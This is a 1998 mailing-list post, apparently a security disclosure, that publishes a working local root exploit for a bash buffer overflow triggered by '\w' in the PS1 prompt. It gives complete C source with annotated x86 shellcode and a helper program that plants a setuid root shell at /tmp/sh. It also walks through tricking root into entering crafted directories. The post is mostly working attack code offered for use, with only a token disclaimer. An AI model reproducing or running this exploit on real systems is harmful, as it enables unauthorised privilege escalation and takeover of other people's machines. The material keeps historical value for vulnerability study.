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Date:         Sat, 5 Sep 1998 21:28:05 +0000
From:         MiG <mig@ZEUS.POLSL.GLIWICE.PL>
Subject:      BASH buffer overflow, LiNUX x86 exploit

Here it is example exploit for buffer overflow in bash which occurs when
there is set '\w' in PS1 environment variable (Joao Manuel Carolino post).

This exploit was tested on Linux x86 systems:
- - Debian 1.3.1, bash 2.0.0(1)
- - Red Hat 5.0, bash 1.4.17(1)

How it works:
~~~~~~~~~~~~
Run it as ordinary user:
        [debian]:~$ id
        uid=1000(test) gid=1000(test) groups=1000(test)
        [debian]:~$ ./bashps1
        BASH '\w' option in PS1 exploit example
        - Creating /tmp/tp.c
        - Compiling /tmp/tp.c to /tmp/tp
        - Removing /tmp/tp.c
        - Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...
        - OK

If everything goes fine you should have 'tp' file in /tmp dir:
        [debian]:~$ ls -l /tmp/tp
        -rwxr-xr-x   1 test     test         3981 Sep  4 20:54 tp

Then as root do:
        bash# export PS1='bash:\w\$ '
        debian:~# cd ~test
        debian:/home/test# cd AAAAAAAA*/*/*/*/*
        shell-init: could not get current directory: getwd: cannot access parent directories
        shell-init: could not get current directory: getwd: cannot access parent directories

The bash dies... Check if there is suid shell in tmp dir:
        [debian]:~$ ls -l /tmp/sh
        -rwsr-sr-x   1 root     root       304676 Sep  4 20:55 sh

Remember, whole directories are treated here as x86 assembler
instructions, so AAA.../AAA... are:
        incl    %ecx
        incl    %ecx
        incl    %ecx
        ...
        das
        incl    %ecx
        incl    %ecx
        incl    %ecx
        ...
So you can't change it on ordinary words, unless you know what
you are doing.

Here is it the code:
- ----x----x----x----x----bashps1.c----x----x----x----x----x----x----x----
/*
 *      BASH: '\w' in PS1 environment variable - x86 exploit
 *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
 *
 *              - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1)
 *                           RED HAT LINUX 5.0, BASH 1.4.17(1)
 *
 *      THIS IS FOR EDUCATIONAL PURPOSES ONLY
 *      USE IT AT YOUR OWN RISK
 *
 *      When run, this program creates directories:
 *       AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR.....
 *       (255 bytes)  (255 bytes)  (255 bytes)  (50 bytes)  (255 bytes)
 *
 *      When you have '\w' included in your PS1 env. variable and
 *      enter to the last of this directories, then "/tmp/tp" program is
 *      executed and SUID shell "/tmp/sh" is created
 */

#include        <unistd.h>

/*
 *      Code we would like to run when stack is smashed
 */
char code[] =
        "\xeb\x24"              /* jmp    GETADDR         */
                                /* RUNPROG:               */
        "\x5e"                  /* popl   %esi            */
        "\x89\x76\x08"          /* movl   %esi,0x8(%esi)  */
        "\x31\xc0"              /* xorl   %eax,%eax       */
        "\x88\x46\x07"          /* movb   %al,0x7(%esi)   */
        "\x89\x46\x0c"          /* movl   %eax,0xc(%esi)  */
        "\xfe\x06"              /* incb   (%esi)          */
        "\xfe\x46\x04"          /* incb   0x4(%esi)       */
        "\xb0\x0b"              /* movb   $0xb,%al        */
        "\x89\xf3"              /* movl   %esi,%ebx       */
        "\x8d\x4e\x08"          /* leal   0x8(%esi),%ecx  */
        "\x8d\x56\x0c"          /* leal   0xc(%esi),%edx  */
        "\xcd\x80"              /* int    $0x80           */
        "\x31\xdb"              /* xorl   %ebx,%ebx       */
        "\x89\xd8"              /* movl   %ebx,%eax       */
        "\x40"                  /* incl   %eax            */
        "\xcd\x80"              /* int    $0x80           */
                                /* GETADDR:               */
        "\xe8\xd7\xff\xff\xff"  /* call   RUNPROG         */
        ".tmp.tp";              /* Program to run .XXX.XX */

/*
 *      Return address, you may have to change it if expl. doesn't works
 */
int ADDR=0xbffff2ff;

void main(void) {
        char dir[256];
        int i, align;

        printf("BASH '\\w' option in PS1 exploit example\n");

        printf("- Creating /tmp/tp.c\n");
        system("echo 'main() {'                        >  /tmp/tp.c");
        system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c");
        system("echo 'system(\"chmod +s /tmp/sh\");'   >> /tmp/tp.c");
        system("echo '}'                               >> /tmp/tp.c");

        printf("- Compiling /tmp/tp.c to /tmp/tp\n");
        system("gcc -o /tmp/tp /tmp/tp.c");

        printf("- Removing /tmp/tp.c\n");
        system("rm -f /tmp/tp.c");

        /* Computing alignment for the 'address' directory */
        getcwd(dir,255);
        align=(strlen(dir)+2) % 4;

        memset(dir,'A',255);
        dir[255]=0;

        printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n");
        mkdir(dir,0777);
        chdir(dir);
        mkdir(dir,0777);
        chdir(dir);
        mkdir(dir,0777);
        chdir(dir);

        /* create directory which name is our code */
        mkdir(code,0777);
        chdir(code);

        /* create directory which name is return addresses */
        for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR;
        mkdir(dir,0777);
        chdir("../../../../");

        printf("- OK\n\n");
}
- ----x----x----x----x----x----x----x----x----x----x----x----x----x----x----

Miroslaw Grzybek,
Cieszyn, POLAND
                                 http://www.polsl.gliwice.pl/~mig
mig@polsl.gliwice.pl       5E 13 03 B7 EA A1 CC 15  50 48 C4 96 5A EA 04